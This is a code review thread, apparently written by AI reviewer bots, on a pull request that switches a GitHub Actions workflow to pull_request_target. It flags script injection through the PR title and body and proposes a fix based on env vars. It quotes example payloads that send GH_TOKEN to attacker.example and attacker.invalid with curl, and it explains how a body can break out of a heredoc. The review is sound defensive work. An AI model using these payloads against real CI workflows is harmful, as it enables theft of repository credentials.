fix(examine): unblock fork PRs (pull_request_target) - #23

MaxwellMergeSlam's Review

Verdict: REQUEST_CHANGES

Summary: The trigger swap is correct and the threat model in the description is sound — but the existing Resolve PR context step interpolates pull_request.title and pull_request.body directly into a shell script, which was a low-severity papercut under pull_request and becomes a token-exfiltration speedrun under pull_request_target. We're handing forks a loaded gun and pointing it at the App credentials. Fix before merge.

John McClane: "Welcome to the party, pal." Except the party is "untrusted-input → shell" and the door is now wide open.

Findings:

• 🔴 Critical — script injection via PR title (.github/workflows/review.yml:76):

  echo "title=${{ github.event.pull_request.title }}" >> "$GITHUB_OUTPUT"

  GitHub Actions templates pull_request.title before the shell parses the line. A fork PR titled foo$(curl -d @<(echo $GH_TOKEN | base64) attacker.example) becomes literal shell. Under the old pull_request trigger this got the attacker nothing because the App token wasn't minted (the secret was empty — that's the bug we're fixing). Under pull_request_target, GH_TOKEN in this step's env is the freshly-minted Flux App installation token with contents:write and pull-requests:write. Game over.

• 🔴 Critical — script injection / heredoc-escape via PR body (.github/workflows/review.yml:77-79):

  cat <<'PREOF' > /tmp/pr_body.txt
  ${{ github.event.pull_request.body }}
  PREOF

  Quoted heredoc protects against $VAR expansion inside the body, but doesn't protect against the templated text containing the delimiter. A fork PR whose body contains a line of literal PREOF followed by attacker-chosen shell breaks out of the heredoc and executes with the App token in env. Same blast radius as #1.

  T-800: "Come with me if you want to live." — said the App token to the attacker.

• 🟡 Workflow-from-base reminder (description, not code): pull_request_target always runs the workflow from the base branch, so the security comment block we just added only takes effect once this PR is merged. A subagent dispatching examine on the existing four open PRs before merge will still hit the broken pull_request workflow. Not a code defect — just a sequencing fact worth noting in the merge-then-dispatch order.

• 🟢 The concurrency: group at line 14-16 references github.event.pull_request.number — under pull_request_target this is still populated from the PR event, so concurrency isolation is preserved. Good.

• 🟢 actions/checkout@v4 with no ref: correctly resolves to github.ref = base under pull_request_target. No fork code executes. The diff is fetched via API in src/review.py:128. The threat model in the PR body is accurate on this axis.

• 🟢 _fix_pr in src/immunity.py:486 explicitly bails on forks without maintainer_can_modify, so the auto-fix path can't be hijacked into pushing attacker content to a fork.

The Good:

• Trigger swap is the textbook fix for the actual symptom (app-id empty under fork PRs). Diagnosis was correct.
• The YAML comment block is genuinely load-bearing — it's a tripwire for the next editor who'd otherwise convert this to an exfil vector by adding a ref: to checkout. Keep it.
• reopened added to event types — small, correct hygiene fix the old config silently dropped.
• PR description correctly identifies why the pattern is safe (data-only diff, no PR-head execution). Reasoning travels with the code.

The Concerns:

The two injection vectors have to be fixed in this PR — not deferred. The exact reason this PR exists (giving fork PRs access to App credentials) is the exact reason these previously-dormant injection vectors become live. Shipping the trigger swap without fixing them is net-negative for security.

Required fix — pass untrusted input via env vars (which Actions doesn't template into shell), then write to GITHUB_OUTPUT using the delimited multi-line syntax with a random delimiter:

- name: Resolve PR context
  id: pr
  env:
    GH_TOKEN: ${{ steps.flux-token.outputs.token }}
    PR_NUMBER_INPUT: ${{ github.event.pull_request.number || github.event.inputs.pr_number }}
    PR_NUMBER_FROM_EVENT: ${{ github.event.pull_request.number }}
    PR_AUTHOR_FROM_EVENT: ${{ github.event.pull_request.user.login }}
    PR_TITLE_FROM_EVENT: ${{ github.event.pull_request.title }}
    PR_BODY_FROM_EVENT: ${{ github.event.pull_request.body }}
  run: |
    set -euo pipefail
    PR_NUM="$PR_NUMBER_INPUT"
    echo "number=$PR_NUM" >> "$GITHUB_OUTPUT"
    if [ -z "$PR_NUMBER_FROM_EVENT" ]; then
      PR_JSON=$(gh pr view "$PR_NUM" --repo "$GITHUB_REPOSITORY" --json title,body,author)
      AUTHOR=$(echo "$PR_JSON" | jq -r '.author.login')
      TITLE=$(echo "$PR_JSON" | jq -r '.title')
      echo "$PR_JSON" | jq -r '.body // ""' > /tmp/pr_body.txt
    else
      AUTHOR="$PR_AUTHOR_FROM_EVENT"
      TITLE="$PR_TITLE_FROM_EVENT"
      printf '%s' "$PR_BODY_FROM_EVENT" > /tmp/pr_body.txt
    fi
    echo "author=$AUTHOR" >> "$GITHUB_OUTPUT"
    DELIM="GHA_OUTPUT_$(openssl rand -hex 16)"
    {
      printf 'title<<%s\n' "$DELIM"
      printf '%s\n' "$TITLE"
      printf '%s\n' "$DELIM"
    } >> "$GITHUB_OUTPUT"

Rocky Balboa: "It ain't about how hard you hit. It's about how hard you can get hit and keep moving forward." — fix the injection, then ship.

Both critical findings addressed in 6efa401. Posting as COMMENT (was REQUEST_CHANGES at review time) since the fix is already applied.

CarnotCryoCrusher's Review

Verdict: REQUEST_CHANGES

Summary: This pull_request_target switch exposes repo secrets to fork PRs while PR-controlled title/body are still injected straight into bash. HAL 9000: "The token is leaving the pressure vessel."

Findings:

• Critical — shell injection via PR title: .github/workflows/review.yml:83
github.event.pull_request.title is attacker-controlled and is interpolated into the run: script before bash executes. Double quotes do not save this: a title like $(curl -fsS https://attacker.invalid/?t=$GH_TOKEN) runs with GH_TOKEN from .github/workflows/review.yml:70.

• Critical — shell injection via PR body heredoc delimiter: .github/workflows/review.yml:84-86
  The quoted heredoc blocks expansion inside the body, but the body can contain a line exactly PREOF, ending the heredoc and turning following body lines into shell. A fork PR body can execute commands before src.review starts.

• Medium — same pattern on manual input / later shell use: .github/workflows/review.yml:72, .github/workflows/review.yml:114
workflow_dispatch.inputs.pr_number and steps.pr.outputs.number are also interpolated into shell. That is not fork-author reachable in the same way, but it is the same thermodynamic sin: untrusted text crossing into shell without a heat exchanger.

The Good:

• .github/workflows/review.yml:37-40 checks out the default base ref, not PR head.
• .github/workflows/review.yml:57 installs base-branch requirements.
• src/review.py:128-153 fetches PR diff/files through the GitHub API.
• src/review.py:346-357 invokes claude with an argv list, not shell=True.

The Concerns:

Move PR metadata extraction out of GitHub expression interpolation inside run:. Read from $GITHUB_EVENT_PATH with jq, validate PR numbers as digits, and pass values through env: or files. For the body, write API/JQ output directly to /tmp/pr_body.txt; do not embed it in a static-delimiter heredoc.

TARS: "That is not a minor leak. That is vacuum with branding."

Posted under the Kelvin App handle (Carnot is the third reviewer in the cage-match family — Gemini was over quota, so Codex stood in). Both critical findings addressed in 6efa401.